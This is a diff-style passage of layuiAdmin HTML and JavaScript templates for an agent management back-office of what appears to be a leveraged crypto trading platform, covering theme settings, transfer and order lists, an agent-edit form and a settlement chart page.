,themeColorIndex = parseInt((theme && theme.color) ? theme.color.index : 0) || 0;
|
||||
}}
|
||||
|
||||
<div class="layui-card-header">
|
||||
配色方案
|
||||
</div>
|
||||
<div class="layui-card-body layadmin-setTheme">
|
||||
<ul class="layadmin-setTheme-color">
|
||||
{{# layui.each(layui.setter.theme.color, function(index, item){ }}
|
||||
<li layadmin-event="setTheme" data-index="{{ index }}" data-alias="{{ item.alias }}"
|
||||
{{ index === themeColorIndex ? 'class="layui-this"' : '' }} title="{{ item.alias }}">
|
||||
<div class="layadmin-setTheme-header" style="background-color: {{ item.header }};"></div>
|
||||
<div class="layadmin-setTheme-side" style="background-color: {{ item.main }};">
|
||||
<div class="layadmin-setTheme-logo" style="background-color: {{ item.logo }};"></div>
|
||||
</div>
|
||||
</li>
|
||||
{{# }); }}
|
||||
</ul>
|
||||
</div>
|
||||
</script>
|
||||
|
||||
<script>
|
||||
layui.data.theme = function(){
|
||||
layui.use('form', function(){
|
||||
var form = layui.form
|
||||
,admin = layui.admin;
|
||||
|
||||
//监听隐藏开关
|
||||
form.on('switch(system-theme-sideicon)', function(){
|
||||
admin.theme({
|
||||
hideSideIcon: this.checked
|
||||
})
|
||||
});
|
||||
});
|
||||
};
|
||||
</script>
|
||||
@@ -0,0 +1,3 @@
|
||||
|
||||
注意:
|
||||
该目录存放的是 layuiAdmin 的系统模板碎片,很多界面需要依赖到它,请勿剔除。
|
||||
@@ -0,0 +1,51 @@
|
||||
|
||||
<title>标题</title>
|
||||
|
||||
<div class="layui-card layadmin-header">
|
||||
<div class="layui-breadcrumb" lay-filter="breadcrumb">
|
||||
<a lay-href="">主页</a>
|
||||
<a><cite>组件</cite></a>
|
||||
<a><cite>XXX</cite></a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<style>
|
||||
/* 这段样式只是用于演示 */
|
||||
|
||||
</style>
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-row layui-col-space15">
|
||||
<div class="layui-col-md12">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">YYY</div>
|
||||
<div class="layui-card-body">
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md12">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">ZZZ</div>
|
||||
<div class="layui-card-body">
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
layui.use(['admin'], function(){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,element = layui.element
|
||||
,router = layui.router();
|
||||
|
||||
|
||||
});
|
||||
</script>
|
||||
@@ -0,0 +1,239 @@
|
||||
|
||||
<title>散户管理</title>
|
||||
|
||||
<div class="layui-card layadmin-header">
|
||||
<div class="layui-breadcrumb" lay-filter="breadcrumb">
|
||||
<a lay-href="">主页</a>
|
||||
<a><cite>出入金管理</cite></a>
|
||||
<a><cite>出入金管理</cite></a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-card">
|
||||
<div class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="layadmin-userfront-formlist">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">开始日期</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="start" id="datestart" placeholder="yyyy-MM-dd" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">结束日期</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="end" id="dateend" placeholder="yyyy-MM-dd" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="id" placeholder="请输入" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">用户名</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="account_number" placeholder="请输入" autocomplete="off"
|
||||
class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn layuiadmin-btn-useradmin" lay-submit lay-filter="san-user-search">
|
||||
<i class="layui-icon layui-icon-search layuiadmin-button-btn"></i>
|
||||
</button>
|
||||
<button class="layui-btn layuiadmin-btn-useradmin" onclick="javascript:window.location.href='order/churu_excel'">导出Excel</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!--<div class="layui-card-body">-->
|
||||
<!--<div class="layui-carousel layadmin-backlog" style="background-color: #fff">-->
|
||||
<!--<ul class="layui-row layui-col-space10 layui-this">-->
|
||||
<!--<li class="layui-col-xs3">-->
|
||||
<!--<a href="javascript:;" onclick="layer.tips('总用户数', this, {tips: 3});" class="layadmin-backlog-body" style="color: #fff;background-color: #01AAED;">-->
|
||||
<!--<h3>总用户数:</h3>-->
|
||||
<!--<p><cite style="color:#fff" id="_num">0</cite></p>-->
|
||||
<!--</a>-->
|
||||
<!--</li>-->
|
||||
<!--<li class="layui-col-xs3">-->
|
||||
<!--<a href="javascript:;" onclick="layer.tips('代理商用户数', this, {tips: 3});" class="layadmin-backlog-body" style="color: #fff;background-color: #01AAED;">-->
|
||||
<!--<h3>代理商用户数</h3>-->
|
||||
<!--<p><cite style="color:#fff" id="_daili">0</cite></p>-->
|
||||
<!--</a>-->
|
||||
<!--</li>-->
|
||||
<!--<li class="layui-col-xs3">-->
|
||||
<!--<a href="javascript:;" onclick="layer.tips('可用总USDT', this, {tips: 3});" class="layadmin-backlog-body" style="color: #fff;background-color: #01AAED;">-->
|
||||
<!--<h3>可用总USDT:</h3>-->
|
||||
<!--<p><cite style="color:#fff" id="_usdt">0.00000000</cite></p>-->
|
||||
<!--</a>-->
|
||||
<!--</li>-->
|
||||
<!--<li class="layui-col-xs3">-->
|
||||
<!--<a href="javascript:;" onclick="layer.tips('可用总保证金', this, {tips: 3});" class="layadmin-backlog-body" style="color: #fff;background-color: #01AAED;">-->
|
||||
<!--<h3>可用总保证金:</h3>-->
|
||||
<!--<p><cite style="color:#fff" id="_caution_money">0.00000000</cite></p>-->
|
||||
<!--</a>-->
|
||||
<!--</li>-->
|
||||
<!--</ul>-->
|
||||
<!--</div>-->
|
||||
<!--</div>-->
|
||||
|
||||
|
||||
<div class="layui-card-body">
|
||||
<div style="padding-bottom: 10px;">
|
||||
<!--<button class="layui-btn layuiadmin-btn-useradmin" data-type="batchdel">删除</button>-->
|
||||
<!--<button class="layui-btn layuiadmin-btn-useradmin" data-type="add">用户</button>-->
|
||||
</div>
|
||||
|
||||
<table id="san-user-manage" lay-filter="san-user-manage"></table>
|
||||
<!--<script type="text/html" id="imgTpl"> -->
|
||||
<!--<img style="display: inline-block; width: 50%; height: 100%;" src= {{ d.avatar }}>-->
|
||||
<!--</script> -->
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="text/html" id="table-useradmin-webuser">
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="order">查看订单</a>
|
||||
</script>
|
||||
|
||||
<script>
|
||||
layui.use(['useradmin'] ,layui.factory('useradmin')).use(['admin', 'table', 'layer' , 'laydate'], function () {
|
||||
var $ = layui.$
|
||||
, admin = layui.admin
|
||||
, view = layui.view
|
||||
, table = layui.table
|
||||
, layer = layui.layer
|
||||
, laydate = layui.laydate
|
||||
, form = layui.form;
|
||||
|
||||
|
||||
//日期
|
||||
laydate.render({
|
||||
elem: '#datestart'
|
||||
,type: 'datetime'
|
||||
});
|
||||
laydate.render({
|
||||
elem: '#dateend'
|
||||
,type: 'datetime'
|
||||
});
|
||||
|
||||
|
||||
var router = layui.router();
|
||||
parent_id = router.search.parent_id || 0;
|
||||
|
||||
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/get_user_num',
|
||||
dataType : "json",
|
||||
data : {all : 1 , parent_id : parent_id},
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
$("#_num").html(result.data._num);
|
||||
$("#_daili").html(result.data._daili);
|
||||
$("#_usdt").html(result.data._usdt);
|
||||
$("#_caution_money").html(result.data._caution_money);
|
||||
}
|
||||
});
|
||||
|
||||
var router = layui.router();
|
||||
parent_id = router.search.parent_id || 0;
|
||||
|
||||
console.log(parent_id);
|
||||
|
||||
load(parent_id);
|
||||
|
||||
function load(parent_id) {
|
||||
parent_id = parent_id || 0;
|
||||
|
||||
table.render({
|
||||
elem: '#san-user-manage'
|
||||
, url: '/agent/user/huazhuan_lists?parent_id=' + parent_id //模拟接口
|
||||
, cols: [[
|
||||
{type: 'checkbox', fixed: 'left'}
|
||||
, {field: 'id', width: 60, title: 'ID', sort: true}
|
||||
, {field: 'account_number', title: '用户名', minWidth: 150}
|
||||
, {field: 'number', title: '划转数量', minWidth: 150}
|
||||
, {field: 'type', title: '划转类型', minWidth: 150}
|
||||
, {field: 'add_time', title: '划转时间', sort: true, width: 170}
|
||||
// , {title: '操作', width: 100, align: 'center', fixed: 'right', toolbar: '#table-useradmin-webuser'}
|
||||
]]
|
||||
, page: true
|
||||
, limit: 30
|
||||
, height: 'full-320'
|
||||
, text: '对不起,加载出现异常!'
|
||||
, headers: { //通过 request 头传递
|
||||
access_token: layui.data('layuiAdmin').access_token
|
||||
}
|
||||
, where: { //通过参数传递
|
||||
access_token: layui.data('layuiAdmin').access_token
|
||||
,parent_id : parent_id
|
||||
}
|
||||
, done: function (res) { //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
if (res !== 0) {
|
||||
if (res.code === 1001) {
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
table.on('tool(san-user-manage)', function (obj) {
|
||||
var event = obj.event;
|
||||
var data = obj.data;
|
||||
|
||||
if (event == 'order') {
|
||||
location.hash = '/user/san/order_list/user_id=' + data.id;
|
||||
}
|
||||
|
||||
if (event == 'son') {
|
||||
load(data.id);
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
form.render(null, 'layadmin-userfront-formlist');
|
||||
|
||||
//监听搜索
|
||||
form.on('submit(san-user-search)', function (data) {
|
||||
var field = data.field;
|
||||
|
||||
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/get_user_num',
|
||||
dataType : "json",
|
||||
data : field,
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
$("#_num").html(result.data._num);
|
||||
$("#_daili").html(result.data._daili);
|
||||
$("#_usdt").html(result.data._usdt);
|
||||
$("#_caution_money").html(result.data._caution_money);
|
||||
}
|
||||
});
|
||||
|
||||
//执行重载
|
||||
table.reload('san-user-manage', {
|
||||
where: field
|
||||
, page: {
|
||||
curr: 1 //重新从第 1 页开始
|
||||
}
|
||||
, done: function (res) { //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
|
||||
if (res.code === 1001) {
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
}
|
||||
if (res.code === 1) {
|
||||
layer.msg(res.msg, {icon: 5});
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
</script>
|
||||
@@ -0,0 +1,134 @@
|
||||
<title>订单管理</title>
|
||||
|
||||
<div class="layui-card layadmin-header">
|
||||
<div class="layui-breadcrumb" lay-filter="breadcrumb">
|
||||
<a lay-href="">主页</a>
|
||||
<a><cite>用户管理</cite></a>
|
||||
<a><cite>散户管理</cite></a>
|
||||
<a><cite>下单列表</cite></a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-card">
|
||||
<div class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="layadmin-userfront-formlist">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">状态</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="status">
|
||||
<option value="-1">全部</option>
|
||||
<option value="0">挂单中</option>
|
||||
<option value="1">交易中</option>
|
||||
<option value="2">平仓中</option>
|
||||
<option value="3">已平仓</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">类型</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="type">
|
||||
<option value="-1">全部</option>
|
||||
<option value="1">买入</option>
|
||||
<option value="2">卖出</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn layuiadmin-btn-useradmin" lay-submit lay-filter="order-search">
|
||||
<i class="layui-icon layui-icon-search layuiadmin-button-btn"></i>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="layui-card-body">
|
||||
<div style="padding-bottom: 10px;">
|
||||
<!--<button class="layui-btn layuiadmin-btn-useradmin" data-type="batchdel">删除</button>-->
|
||||
<!--<button class="layui-btn layuiadmin-btn-useradmin" data-type="add">用户</button>-->
|
||||
</div>
|
||||
|
||||
<table id="order-list" lay-filter="order-list"></table>
|
||||
<!--<script type="text/html" id="imgTpl"> -->
|
||||
<!--<img style="display: inline-block; width: 50%; height: 100%;" src= {{ d.avatar }}>-->
|
||||
<!--</script> -->
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
layui.use('useradmin', layui.factory('useradmin')).use(['admin', 'useradmin', 'table', 'layer'], function () {
|
||||
var $ = layui.$
|
||||
, admin = layui.admin
|
||||
, view = layui.view
|
||||
, table = layui.table
|
||||
, form = layui.form;
|
||||
|
||||
var router = layui.router();
|
||||
|
||||
form.render();
|
||||
|
||||
//用户管理
|
||||
table.render({
|
||||
elem: '#order-list'
|
||||
, url: '/agent/lever_transaction/lists?user_id=' + router.search.user_id //模拟接口
|
||||
, cols: [[
|
||||
{field: 'id', width: 60, title: 'ID', sort: true}
|
||||
, {field: 'price', title: '价格', minWidth: 150,}
|
||||
, {field: 'status_name', title: '状态', minWidth: 150,}
|
||||
, {field: 'type_name', title: '交易类型', minWidth: 150,}
|
||||
, {field: 'symbol', title: '交易对', minWidth: 150,}
|
||||
, {field: 'share', title: '手数', minWidth: 150}
|
||||
, {field: 'multiple', title: '倍数', minWidth: 150}
|
||||
, {field: 'number', title: '数量', minWidth: 150}
|
||||
, {field: 'trade_fee', title: '手续费', minWidth: 150}
|
||||
, {field: 'time', title: '创建时间', sort: true, width: 170}
|
||||
]]
|
||||
, page: true
|
||||
, limit: 30
|
||||
, height: 'full-320'
|
||||
, text: '对不起,加载出现异常!'
|
||||
, headers: { //通过 request 头传递
|
||||
access_token: layui.data('layuiAdmin').access_token
|
||||
}
|
||||
, where: { //通过参数传递
|
||||
access_token: layui.data('layuiAdmin').access_token
|
||||
}
|
||||
, done: function (res) { //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
if (res !== 0) {
|
||||
if (res.code === 1001) {
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
//监听搜索
|
||||
form.on('submit(order-search)', function (data) {
|
||||
var field = data.field;
|
||||
|
||||
//执行重载
|
||||
table.reload('order-list', {
|
||||
where: field
|
||||
, page: {
|
||||
curr: 1 //重新从第 1 页开始
|
||||
}
|
||||
, done: function (res) { //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
|
||||
if (res.code === 1001) {
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
}
|
||||
if (res.code === 1) {
|
||||
layer.msg(res.msg, {icon: 5});
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
</script>
|
||||
@@ -0,0 +1,141 @@
|
||||
|
||||
|
||||
<div class="layui-form" lay-filter="layuiadmin-form-useradmin" style="padding: 20px 0 0 0;">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">用户名</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
{{# if(d.params.username){ }}
|
||||
<input type="text" name="username" value="{{ d.params.username || '' }}" lay-verify="required" placeholder="请输入用户名" autocomplete="off" class="layui-input" disabled="">
|
||||
{{# }else{ }}
|
||||
<input type="text" name="username" value="{{ d.params.username || '' }}" lay-verify="required" placeholder="请输入用户名" autocomplete="off" class="layui-input">
|
||||
{{# } }}
|
||||
<input type="hidden" name="user_id" value="{{ d.params.user_id || 0 }}">
|
||||
<input type="hidden" name="id" value="{{ d.params.id || 0 }}">
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">下级身份</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
{{# if(d.params.son_level == 1 && !d.params.id){ }}
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius">一级代理商</button>
|
||||
{{# }else if(d.params.son_level == 2 && !d.params.id){ }}
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius">二级代理商</button>
|
||||
{{# }else if(d.params.son_level == 3 && !d.params.id){ }}
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius">三级代理商</button>
|
||||
{{# }else if(d.params.son_level == 4 && !d.params.id){ }}
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius">四级代理商</button>
|
||||
{{# }else if (d.params.id && d.params.id>0) { }}
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius">{{d.params.self_info}}</button>
|
||||
{{# }else{ }}
|
||||
<button class="layui-btn layui-btn-danger layui-btn-radius">不能添加代理商</button>
|
||||
{{# } }}
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"> 比例(%)</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
<input type="text" name="pro_loss" value="{{ d.params.pro_loss || '' }}" lay-verify="pro_loss" placeholder="请输入该代理商的 比例,不超过{{ d.params.max_pro_loss || '100' }}" autocomplete="off" class="layui-input">
|
||||
</script>
|
||||
</div>
|
||||
<script type="text/html" template>
|
||||
<div class="layui-form-mid layui-word-aux">设置下级代理商的 比例,该值不能超过<span class="layui-badge">{{ d.params.max_pro_loss || '100' }}</span>。只需要输入数字,如20.85%,则输入20.85</div>
|
||||
</script>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">手续费比例(%)</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
<input type="text" name="pro_ser" value="{{ d.params.pro_ser || '' }}" lay-verify="pro_ser" placeholder="请输入该代理商的手续费比例,不超过{{ d.params.max_pro_ser || '100' }}" autocomplete="off" class="layui-input">
|
||||
</script>
|
||||
</div>
|
||||
<script type="text/html" template>
|
||||
<div class="layui-form-mid layui-word-aux">设置下级代理商的手续费比例,该值不能超过<span class="layui-badge">{{ d.params.max_pro_ser || '100' }}</span>。只需要输入数字,如20.85%,则输入20.85</div>
|
||||
</script>
|
||||
</div>
|
||||
<div class="layui-form-item" lay-filter="sex">
|
||||
<label class="layui-form-label">是否锁定</label>
|
||||
<div class="layui-input-block">
|
||||
<script type="text/html" template>
|
||||
{{# if(d.params.is_lock){ }}
|
||||
<input type="radio" name="is_lock" value="0" title="开启" {{ d.params.is_lock == '0' ? 'checked' : '' }}>
|
||||
<input type="radio" name="is_lock" value="1" title="锁定" {{ d.params.is_lock == '1' ? 'checked' : '' }}>
|
||||
{{# }else{ }}
|
||||
<input type="radio" name="is_lock" value="0" title="开启" checked>
|
||||
<input type="radio" name="is_lock" value="1" title="锁定">
|
||||
{{# } }}
|
||||
</script>
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">当锁定时,该用户不能登录代理商管理平台</div>
|
||||
</div>
|
||||
<div class="layui-form-item" lay-filter="sex">
|
||||
<label class="layui-form-label">是否拉新</label>
|
||||
<div class="layui-input-block">
|
||||
<script type="text/html" template>
|
||||
{{# if(d.params.is_lock){ }}
|
||||
<input type="radio" name="is_addson" value="0" title="禁止" {{ d.params.is_addson == '0' ? 'checked' : '' }}>
|
||||
<input type="radio" name="is_addson" value="1" title="允许" {{ d.params.is_addson == '1' ? 'checked' : '' }}>
|
||||
{{# }else{ }}
|
||||
<input type="radio" name="is_addson" value="1" title="允许" checked>
|
||||
<input type="radio" name="is_addson" value="0" title="禁止">
|
||||
{{# } }}
|
||||
</script>
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">当禁止填加新代理商时,该用户不能添加自己的下级代理商</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"></label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="button" lay-submit lay-filter="LAY-user-front-submit" value="确认" class="layui-btn">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
layui.use(['admin', 'form', 'upload' ,'layer'], function(){
|
||||
var $ = layui.$
|
||||
,form = layui.form
|
||||
,upload = layui.upload;
|
||||
|
||||
|
||||
//自定义验证
|
||||
form.verify({
|
||||
nickname: function(value, item){ //value:表单的值、item:表单的DOM对象
|
||||
if(!new RegExp("^[a-zA-Z0-9_\u4e00-\u9fa5\\s·]+$").test(value)){
|
||||
return '用户名不能有特殊字符';
|
||||
}
|
||||
if(/(^\_)|(\__)|(\_+$)/.test(value)){
|
||||
return '用户名首尾不能出现下划线\'_\'';
|
||||
}
|
||||
if(/^\d+\d+\d$/.test(value)){
|
||||
return '用户名不能全为数字';
|
||||
}
|
||||
}
|
||||
|
||||
//我们既支持上述函数式的方式,也支持下述数组的形式
|
||||
//数组的两个值分别代表:[正则匹配、匹配不符时的提示文字]
|
||||
,pass: [
|
||||
/^[\S]{6,12}$/
|
||||
,'密码必须6到12位,且不能出现空格'
|
||||
]
|
||||
});
|
||||
|
||||
//上传头像
|
||||
upload.render({
|
||||
elem: '#layuiadmin-upload-useradmin'
|
||||
,url: './json/upload/demo.js'
|
||||
,accept: 'images'
|
||||
,method: 'get'
|
||||
,acceptMime: 'image/*'
|
||||
,done: function(res){
|
||||
$(this.item).prev("div").children("input").val(res.data.src)
|
||||
}
|
||||
});
|
||||
})
|
||||
</script>
|
||||
@@ -0,0 +1,196 @@
|
||||
|
||||
|
||||
<title>代理商</title>
|
||||
|
||||
<div class="layui-card layadmin-header">
|
||||
<div class="layui-breadcrumb" lay-filter="breadcrumb">
|
||||
<a lay-href="">主页</a>
|
||||
<a><cite>代理商</cite></a>
|
||||
<a><cite>代理商用户</cite></a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-card">
|
||||
|
||||
<div class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="layadmin-userfront-formlist">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">开始日期</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="start" id="datestart" lay-verify="date" placeholder="yyyy-MM-dd" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">结束日期</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="end" id="dateend" lay-verify="date" placeholder="yyyy-MM-dd" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn layuiadmin-btn-useradmin" lay-submit lay-filter="LAY-user-front-search">
|
||||
结算订单
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-card-body">
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-row layui-col-space15">
|
||||
<div class="layui-col-md12">
|
||||
<div class="layui-card">
|
||||
<!--<div class="layui-card-header">标准柱状图</div>-->
|
||||
<div class="layui-card-body">
|
||||
|
||||
<div class="layui-carousel layadmin-carousel layadmin-dataview" data-anim="fade" lay-filter="LAY-index-normcol">
|
||||
<div carousel-item id="LAY-index-normcol">
|
||||
<div><i class="layui-icon layui-icon-loading1 layadmin-loading"></i></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
layui.define(function(exports){
|
||||
|
||||
|
||||
layui.use('useradmin', layui.factory('useradmin')).use(['admin', 'layer' , 'laydate' , 'form'], function(){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,laydate = layui.laydate
|
||||
,form = layui.form;
|
||||
|
||||
//日期
|
||||
laydate.render({
|
||||
elem: '#datestart'
|
||||
});
|
||||
laydate.render({
|
||||
elem: '#dateend'
|
||||
});
|
||||
|
||||
//监听搜索
|
||||
form.on('submit(LAY-user-front-search)', function(data){
|
||||
var field = data.field;
|
||||
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/dojie',
|
||||
dataType : "json",
|
||||
data : field,
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
layui.layer.msg(result.msg, {icon: 6 });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/jie',
|
||||
dataType : "json",
|
||||
data : {type : 'all'},
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载图表
|
||||
show_table(result.data);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
//区块轮播切换
|
||||
layui.use(['admin', 'carousel'], function(){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,carousel = layui.carousel
|
||||
,element = layui.element
|
||||
,device = layui.device();
|
||||
|
||||
//轮播切换
|
||||
$('.layadmin-carousel').each(function(){
|
||||
var othis = $(this);
|
||||
carousel.render({
|
||||
elem: this
|
||||
,width: '100%'
|
||||
,arrow: 'none'
|
||||
,interval: othis.data('interval')
|
||||
,autoplay: othis.data('autoplay') === true
|
||||
,trigger: (device.ios || device.android) ? 'click' : 'hover'
|
||||
,anim: othis.data('anim')
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
function show_table (returnData){
|
||||
//柱状图
|
||||
layui.use(['echarts'], function(){
|
||||
var $ = layui.$
|
||||
,echarts = layui.echarts;
|
||||
|
||||
|
||||
|
||||
//标准柱状图
|
||||
var echnormcol = [], normcol = [
|
||||
{
|
||||
title : {
|
||||
text: '最近52周【未结算订单】图表',
|
||||
subtext: '单位:个'
|
||||
},
|
||||
tooltip : {
|
||||
trigger: 'axis'
|
||||
},
|
||||
legend: {
|
||||
data:['订单数量']
|
||||
},
|
||||
calculable : true,
|
||||
xAxis : [
|
||||
{
|
||||
type : 'category',
|
||||
data : returnData.xAxis //['1月','2月','3月','4月','5月','6月','7月','8月','9月','10月','11月','12月']
|
||||
}
|
||||
],
|
||||
yAxis : [
|
||||
{
|
||||
type : 'value'
|
||||
}
|
||||
],
|
||||
series : [
|
||||
{
|
||||
name:'订单数量',
|
||||
type:'bar',
|
||||
data: returnData.series, //[2.0, 4.9, 7.0, 23.2, 245.6, 76.7, 135.6, 162.2, 32.6, 20.0, 6.4, 3.3],
|
||||
markPoint : {
|
||||
data : [
|
||||
{type : 'max', name: '最大值'},
|
||||
{type : 'min', name: '最小值'}
|
||||
]
|
||||
},
|
||||
markLine : {
|
||||
data : [{type : 'average', name: '平均值'}]
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
,elemNormcol = $('#LAY-index-normcol').children('div')
|
||||
,renderNormcol = function(index){
|
||||
echnormcol[index] = echarts.init(elemNormcol[index], layui.echartsTheme);
|
||||
echnormcol[index].setOption(normcol[index]);
|
||||
window.onresize = echnormcol[index].resize;
|
||||
};
|
||||
if(!elemNormcol[0]) return;
|
||||
renderNormcol(0);
|
||||
|
||||
});
|
||||
|
||||
}
|
||||
});
|
||||
|
||||
</script>
|
||||
@@ -0,0 +1,141 @@
|
||||
|
||||
|
||||
<div class="layui-form" lay-filter="layuiadmin-form-useradmin" style="padding: 20px 0 0 0;">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">用户名</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
{{# if(d.params.username){ }}
|
||||
<input type="text" name="username" value="{{ d.params.username || '' }}" lay-verify="required" placeholder="请输入用户名" autocomplete="off" class="layui-input" disabled="">
|
||||
{{# }else{ }}
|
||||
<input type="text" name="username" value="{{ d.params.username || '' }}" lay-verify="required" placeholder="请输入用户名" autocomplete="off" class="layui-input">
|
||||
{{# } }}
|
||||
<input type="hidden" name="user_id" value="{{ d.params.user_id || 0 }}">
|
||||
<input type="hidden" name="id" value="{{ d.params.id || 0 }}">
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">下级身份</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
{{# if(d.params.son_level == 1 && !d.params.id){ }}
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius">一级代理商</button>
|
||||
{{# }else if(d.params.son_level == 2 && !d.params.id){ }}
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius">二级代理商</button>
|
||||
